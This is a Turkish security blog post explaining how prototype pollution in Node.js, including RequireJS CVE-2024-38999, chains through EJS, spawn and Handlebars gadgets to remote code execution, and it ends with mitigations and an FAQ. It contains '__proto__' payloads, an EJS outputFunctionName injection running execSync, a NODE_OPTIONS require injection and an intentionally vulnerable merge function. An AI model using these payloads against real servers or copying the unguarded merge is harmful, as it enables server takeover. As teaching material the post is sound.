Prototype Pollution'dan RCE'ye: Node.js Gadget Zincirleri | Tağmaç - root@Tagoletta:~#
Contents

Prototype Pollution'dan RCE'ye: Node.js Gadget Zincirleri

Wed May 27 2026 · 4 min read

Category: Security Research

# Attack-Chain# JavaScript# Exploit

Giriş: JavaScript Prototype Zinciri

JavaScript'te her nesne, [[Prototype]] adı verilen gizli bir bağlantıya sahiptir. Bu bağlantı, nesnenin özelliğe sahip olmadığı durumlarda aramanın nerede devam edeceğini belirler — bu mekanizma prototip kalıtımı olarak bilinir.

const user = { name: "alice" };
// user.__proto__ → Object.prototype
// user.toString() → Object.prototype.toString'den gelir

Zincirin en tepesinde Object.prototype bulunur. Node.js sürecindeki her nesne bu prototipi kalıtır. Bu gerçek, kritik bir güvenlik sorusunu doğurur:

Object.prototype'a bir özellik eklersek ne olur?

Object.prototype.admin = true;
const req = {};
console.log(req.admin); // → true  ← hiç tanımlamadık

Cevap: Süreçteki tüm nesneler bu özelliği anında kalıtır.

Prototype Pollution Nedir?

Prototype pollution, saldırganın kullanıcı kontrolündeki veriler aracılığıyla Object.prototype'ı değiştirebilmesi durumudur.

Bu genellikle güvensiz merge, clone, veya extend işlemleri aracılığıyla gerçekleşir:

Savunmasız deep merge:

function merge(target, source) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === "object") {
      merge(target[key], source[key]);  // recursive
    } else {
      target[key] = source[key];       // NO KEY GUARD
    }
  }
}

// Saldırgan payload:
merge({}, JSON.parse('{"__proto__":{"shell":"bash"}}'));
// Artık: Object.prototype.shell === "bash"

__proto__ anahtarı özel bir JavaScript semantiğine sahiptir: target.__proto__ aslında Object.prototype'ı döndürür. Bu yüzden target.__proto__.shell = "bash" ifadesi Object.prototype.shell = "bash" ile eşdeğerdir.

Alternatif kirletme yolları:

// constructor.prototype yoluyla
{"constructor": {"prototype": {"admin": true}}}

// URL parametresi yoluyla
?__proto__[shell]=bash

// JSON merge patch yoluyla
PATCH /config  {"__proto__": {"debug": true}}

Server-Side Prototype Pollution (SSPP)

İstemci tarafı (browser) prototype pollution iyi bilinir. Ancak daha tehlikeli olan server-side varyantıdır: Node.js sürecindeki Object.prototype zehirlenir.

Neden daha tehlikeli?

  • Tek bir istek tüm uygulamayı etkiler
  • Belleğe yazılır, her sonraki nesne etkilenir
  • Kütüphane gadget'ları RCE'ye kadar zincirlenebilir

CVE-2024-38999: RequireJS Prototype Pollution

RequireJS, Node.js ve browser ortamlarında yaygın olarak kullanılan bir modül yükleme kütüphanesidir.

Savunmasız işlev: require.config()

// RequireJS kaynak kodu (basitleştirilmiş)
req.config = function(config) {
  // config nesnesi doğrulama YAPILMADAN
  // mevcut cfg ile deep merge edilir
  extend(cfg, config);  // __proto__ key'i korunmuyor!
  return req;
};

Kullanıcı kontrolündeki bir config nesnesi require.config()'e geçirilirse:

// Saldırgan tarafından kontrol edilen config
require.config({
  "__proto__": {
    "shell": "bash"
  }
});
// Object.prototype.shell === "bash"

Gadget Zincirleri: Kirliliği RCE'ye Dönüştürmek

Prototype pollution tek başına zararsızdır. Tehlike, uygulamada gadget adı verilen kodun varlığında ortaya çıkar.

Gadget: Kirlenmiş özelliği okuyup tehlikeli biçimde kullanan mevcut kod parçası.

Gadget 1: EJS Template Engine (CVE-2022-29078 tarzı)

EJS (Embedded JavaScript Templates), render sırasında outputFunctionName seçeneğini okur ve bu değeri doğrudan kod olarak değerlendirir:

// EJS kaynak kodu (iç)
if (opts.outputFunctionName) {
  prepended += `  var ${opts.outputFunctionName} = __output;\n`;
}
// → String.prototype'dan kalıtılmış değer eval olarak çalıştırılır

Saldırı:

// 1. Object.prototype kirlet
Object.prototype.outputFunctionName =
  "x;process.mainModule.require('child_process').execSync('id > /tmp/pwned')//";

// 2. EJS bir şablon render etmeye çalışsın (normal akış)
ejs.render("<%= name %>", { name: "alice" });
// → gadget tetiklenir → RCE

Gadget 2: child_process.spawn Options

// Uygulama kodu — masum görünür
const { spawn } = require("child_process");

function runConverter(file) {
  // options nesnesi boş; değerler Object.prototype'tan kalıtılır
  const proc = spawn("convert", [file], {});
  return proc;
}

// Pollution ile:
Object.prototype.shell = true;
Object.prototype.env = { NODE_OPTIONS: "--require /tmp/malicious.js" };
// spawn artık /bin/bash ile shell olarak çalışır

Gadget 3: Handlebars Template Engine

Object.prototype.type = "Program";
Object.prototype.body = [/* AST node for require('child_process').exec(...) */];
// Handlebars compile → AST traversal → RCE

Tam Saldırı Zinciri: CVE-2024-38999

HTTP İsteği → require.config(userInput)
    ↓ deep merge (key guard yok)
Object.prototype.shell = "bash"
    ↓ gadget aranıyor
ejs.render() veya spawn() tetiklenir
    ↓ kirlenmiş özellik okunur
/bin/bash çalıştırılır
    ↓
RCE — sunucu ele geçirildi

Önlem

1. Key guard ekleyin:

function safemerge(target, source) {
  for (const key of Object.keys(source)) {
    // __proto__ ve constructor'ı filtrele
    if (key === "__proto__" || key === "constructor") continue;
    if (typeof source[key] === "object") {
      safemerge(target[key] ??= {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

2. Object.create(null) kullanın:

// Prototype'sız nesne oluştur
const config = Object.create(null);
// __proto__ kalıtımı yoktur — kirletme imkânsız

3. Object.prototype'ı dondurun:

Object.freeze(Object.prototype);
// Pollution girişimi sessizce başarısız olur (strict modda hata verir)

4. RequireJS güncelleme: 2.3.7+ sürümüne geçin.

5. Node.js bayrağı:

node --disable-proto=delete app.js
# __proto__ erişimini devre dışı bırakır

Sonuç

Prototype pollution, "düşük etki" gibi görünen bir giriş noktasından ("sadece bir nesne özelliği değişiyor") tam sunucu kompromisine uzanan zarif bir saldırı zinciri sunar. Tehlike, saldırganın uygulamadaki mevcut kodu gadget olarak kullanmasıdır — yeni kod çalıştırmasına gerek yoktur.

CVE-2024-38999, on yılı aşkın süredir yaygın biçimde kullanılan bir kütüphanenin bu saldırı sınıfına karşı savunmasız olduğunu ortaya koydu. Her merge, assign veya extend işlemi, __proto__ key'ine karşı koruma sağlayıp sağlamadığı sorgulanarak incelenmelidir.


CVE: CVE-2024-38999
Kütüphane: RequireJS < 2.3.7
CVSS: 9.8 (Critical)
Araştırma Temeli: "Silent Spring: Prototype Pollution Leads to RCE in Node.js" — USENIX Security 2023

Sıkça Sorulan Sorular

Prototype pollution nedir?

Saldırgan kontrolündeki proto veya constructor.prototype gibi anahtarların Object.prototype'a özellik enjekte ederek Node.js sürecindeki her nesneyi etkilediği bir JavaScript zafiyetidir.

Prototype pollution nasıl RCE'ye dönüşür?

Aşağı akıştaki bir gadget'ın okuduğu özellikleri kirleterek — child_process spawn'a geçirilen seçenekler, require yolları veya template seçenekleri gibi — saldırgan kirletilmiş değeri komut ya da kod çalıştırmaya dönüştürür.

Bu bağlamda gadget chain nedir?

Gadget, kirletilmiş bir özelliği tehlikeli bir sink'te kullanan mevcut koddur; zincir (chain) ise kirletme noktasını o sink'e bağlar. Yazı, RequireJS'teki CVE-2024-38999 üzerinden bir örnek gösterir.

Prototype pollution nasıl önlenir?

Kullanıcı girdisinde proto, constructor ve prototype anahtarlarını reddedin, güvenilmeyen veri için Object.create(null) veya Map kullanın, Object.freeze(Object.prototype) uygulayın ve girdiyi katı şemalara göre doğrulayın.